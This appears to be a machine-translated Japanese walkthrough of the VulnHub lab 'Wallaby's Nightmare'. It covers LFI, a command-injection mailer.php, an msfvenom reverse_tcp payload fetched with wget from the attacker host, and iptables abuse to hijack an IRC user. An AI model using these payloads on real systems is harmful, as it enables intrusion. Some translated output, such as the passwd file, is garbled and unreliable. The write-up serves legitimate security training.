VulnHub:Wallaby's NightmareでIRCから好ましくないものを捨てる

良い一日、短い休憩の後、再びVulnHubの仮想マシンの分析に戻ります。 そして、 Walaby 's:Nightmare(v1.0.2)の隣に、著者が書いているように、このサイトの以前のCTFが彼にこのboot2rootを作成するきっかけになりましたが、どれかは推測できると思います。



VirtualBox 、またはあなたが一番好きなものを起動し、画像を読み込んだ後、この実験的な主題の研究に進みます。



$ sudo arp-scan -l -I wlan0
      
      





192.168.1.4 08:00:27:d9:00:aa CADMUS COMPUTER SYSTEMS


nmapがない場合、開いているポートを検出します。



 $ sudo nmap 192.168.1.4 -sV
      
      





192.168.1.4のNmapスキャンレポート

ホストが稼働しています(0.00074の遅延)。

表示なし:997個の閉じたポート

ポートステートサービスバージョン

22 / tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1(Ubuntu Linux;プロトコル2.0)

80 / tcp open http Apache httpd 2.4.18((Ubuntu))

6667 / tcpフィルター処理されたirc

MACアドレス:08:00:27:D9:00:AA(Oracle VirtualBox仮想NIC)

サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel


Webサーバーから始めましょう。同時に、何が回​​転しているかを見てみましょう。







ユーザー名を入力するいくつかの形式、それを覚えて、何かを入力してみてください:







彼らは私たちにいくつかのアドバイスを与え、開始または継続を提案します:







これはすでに興味深いですが、ページを更新すると、接続エラーが発生します。 範囲全体を再度スキャンすると、 apacheがハングしているポートが変更されていることがわかります。

22 / tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1(Ubuntu Linux;プロトコル2.0)

6667 / tcpフィルター処理されたirc

60080 / tcp open http Apache httpd 2.4.18((Ubuntu))


私たちは入って、次を見てみます:







ここでプロットの継続が見つからない場合は、 niktoを実行します







NiktoLFIを見つけたと主張し、リンクをたどってpasswdファイルの内容を取得します



/ etc / passwd
ルート:x:0:0:ルート:/ルート:/ bin / bash

デーモン:x:1:1:デーモン:/ usr / sbin:/ usr / sbin / nologin

bin:x:2:2:bin:/ bin:/ usr / sbin / nologin

sys:x:3:3:sys:/ dev:/ usr / sbin / nologin

sync:x:4:65534:sync:/ bin:/ bin / sync

ゲーム:x:5:60:ゲーム:/ usr / games:/ usr / sbin / nologin

man:x:6:12:man:/ var / cache / man:/ usr / sbin / nologin

lp:x:7:7:lp:/ var / spool / lpd:/ usr / sbin / nologin

メール:x:8:8:メール:/ var /メール:/ usr / sbin / nologin

ニュース:x:9:9:ニュース:/ var /スプール/ニュース:/ usr / sbin / nologin

uucp:x:10:10:uucp:/ var / spool / uucp:/ usr / sbin / nologin

www-data:x:33:33:www-data:/ var / www:/ usr / sbin / nologin

バックアップ:x:34:34:バックアップ:/ var /バックアップ:/ usr / sbin / nologin

リスト:x:38:38:メーリングリストマネージャー:/ var /リスト:/ usr / sbin / nologin

irc:x:39:39:ircd:/ var / run / ircd:/ usr / sbin / nologin

gnats:x:41:41:Gnatsバグ報告システム(管理者):/ var / lib / gnats:/ usr / sbin / nologin

nobody:x:65534:65534:nobody:/ nonexistent:/ usr / sbin / nologin

syslog:x:104:108 :: / home / syslog:/ bin / false

_apt:x:105:65534 :: /存在しない:/ bin / false

uuidd:x:107:111 :: /実行/ uuidd:/ bin / false

walfin:x:1000:1000:walfin ,,,:/ home / walfin:/ bin / bash

sshd:x:108:65534 :: / var / run / sshd:/ usr / sbin / nologin

mysql:x:109:117:MySQL Server ,,,:/存在しない:/ bin / false

steven ?: x:1001:1001 :: / home / steven ?: / bin / bash

ircd:x:1003:1003:,,,:/ home / ircd:/ bin / bash




しかし、すべてがそれほど単純ではありません...ページコードを見て、メッセージを見つけます。



 <!--This is what we call 'dis-information' in the cyber security world! Are you learning anything new here admin?-->
      
      





そして確認として:







使用可能なパラメーターを繰り返し試してみましょう。



 $ sudo dirb http://192.168.1.4:60080/index.php?page= /usr/share/dirb/wordlists/big.txt -w
      
      









それらを順番にチェックし始め、 mailerに到達すると、ページコードに次のコメントがあります。





うーん、コマンドを実行しようとするとどうなりますか?





うまくいきましたが、これは別の冗談ではありません! これらのスクリプトに隠されているものを見てみましょう。



index.php
 <?php # basic webpage routing $page = filter_input(INPUT_GET, 'page'); $open = fopen("/var/www/html/uname.txt", "r"); $levelone = "/var/www/html/levelone.txt"; $username = fgets($open); $ip = $_POST['ip']; # whitelist webpage filter $webpageWhitelist = ['index', 'contact', 'home', 'blacklist', 'mailer', 'name']; # Begin filtering the $page variable if ($page === "name" and file_exists($levelone)) { include('/var/www/html/uname.txt'); } elseif ($page === "home" and file_exists($levelone)) { include('s13!34g$3FVA5e@ed/home.php'); } elseif ($page === "home" or isset($page) === false and !file_exists($levelone)) { include('s13!34g$3FVA5e@ed/althome.php'); } elseif (in_array($page, $webpageWhitelist, true) === true and $page !== "name") { # If the web page is on the whitelist. Show it. include "s13!34g$3FVA5e@ed/{$page}.php"; } elseif (isset($page) === false) { # Or else, IF the web page variable is NULL/Not Set. Assume home page is wanted. include 's13!34g$3FVA5e@ed/index.php'; } elseif (strpos($page, '/etc/passwd') !== false) { include 's13!34g$3FVA5e@ed/honeypot.php'; } elseif (strpos($page, '/') !== false and file_exists($levelone)) { echo "<h2>That's some fishy stuff you're trying there <em>{$username}</em>buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...</h2> <br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)"; system('rm /var/www/html/levelone.txt'); } elseif (strpos($page, '/') !== false) { echo "<h2>Nice try <em>{$username}</em>buddy, this vector is patched!</h2>"; } elseif (strpos($page, '\'') !== false) { echo "<script>window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){}; pc.createDataChannel(\"\"); //create a bogus data channel pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description pc.onicecandidate = function(ice){ //listen for candidate events if(!ice || !ice.candidate || !ice.candidate.candidate) return; var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1]; alert('Your ip is ' + myIP + ', consider it blacklisted for a bit :D.'); post('/?page=blacklist', {bl: myIP}); pc.onicecandidate = noop; };</script> <noscript>Wtf...where'd you go <em>{$username}</em></noscript>"; } else { # Or else, we will show them a 404 web page instead #include 'pages/errors/404.php'; echo "<h2>Dude, <em>{$username}</em> what are you trying over here?!</h2>"; } ?>
      
      







mailer.php
 <?php $cmd = $_GET['mail']; if (strpos($cmd, 'nc') !== false) { echo '<h5>How you gonna use netcat so obviously. Cmon man. This is all in the logs.</h5>'; } else { system("{$cmd}"); } echo "<h2 style='color:blue;'>Coming Soon guys!</h2> <!--a href='/?page=mailer&mail=mail wallaby \"message goes here\"'><button type='button'>Sendmail</button--> <!--Better finish implementing this so {$username} can send me all his loser complaints!-->"; ?>
      
      







ここで、 msfvenomを使用して、自分用の完全なシェルをセットアップします。



 $ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle
      
      





また、 msfconsoleの構成



 $ cat meterpreter.rc use exploit/multi/handler set payload linux/x64/mettle/reverse_tcp set lhost 192.168.1.124 set lport 4444 run
      
      





次のコマンドを使用して、 メーラースクリプトを介して、これらすべてを攻撃したホストにアップロードします。



 wget http://192.168.1.124/x64mettle.bin -O /tmp/x64mettle.bin
      
      





Metasploitハンドラーを起動し、バイナリを起動すると、数秒後に完全なシェルが作成されます。 まず、現在のユーザーがsudoを介してコマンドを実行できるかどうかを確認します。



 sudo -l User www-data may run the following commands on ubuntu: (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf (ALL) NOPASSWD: /sbin/iptables
      
      





それほど多くはありませんが、 www-dataの場合、これはさらに多すぎます。 iptablesを見てください:



 sudo /sbin/iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- localhost anywhere tcp dpt:ircd DROP tcp -- anywhere anywhere tcp dpt:ircd Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination
      
      





思い出すと、 nmapは6667ポートを検出し、フィルター処理済みとしてマークしました。 すべてをデフォルト設定にリセットして、これを変更します。



 sudo /sbin/iptables -F
      
      





結果を確認します。



 $ sudo nmap 192.168.1.4 -p 6667 Nmap scan report for 192.168.1.4 Host is up (0.00025s latency). PORT STATE SERVICE 6667/tcp open irc MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)
      
      





接続します:







/ LISTコマンドは、1つのチャネルの存在を示しました。







これに到達すると、そこにさらに2人のユーザーが表示されます。



ニックス#wallabyschat:[@waldo GH0st3rs wallabysbot]


Waldoは私と話をしたくありませんでしたが、 wallabysbotはよりフレンドリーでした。







OK、 iptablesにアクセスできます。チャットからwaldoを削除する必要がありますか?



 sudo /sbin/iptables -I OUTPUT -m owner --uid-owner 1000 -p tcp --dport 6667 -j DROP
      
      





IRCでの彼のセッションが終了するまで待ち、ニックネームをwaldoに変更して、さらに1つのシェルを取得します。







このユーザーが利用できるものを確認します。判明したように、彼は多くのことを利用できます。







私たちは旗を手に入れ、おめでとう、そしてさらに1つのBoot2Root CTFが合格しました:










All Articles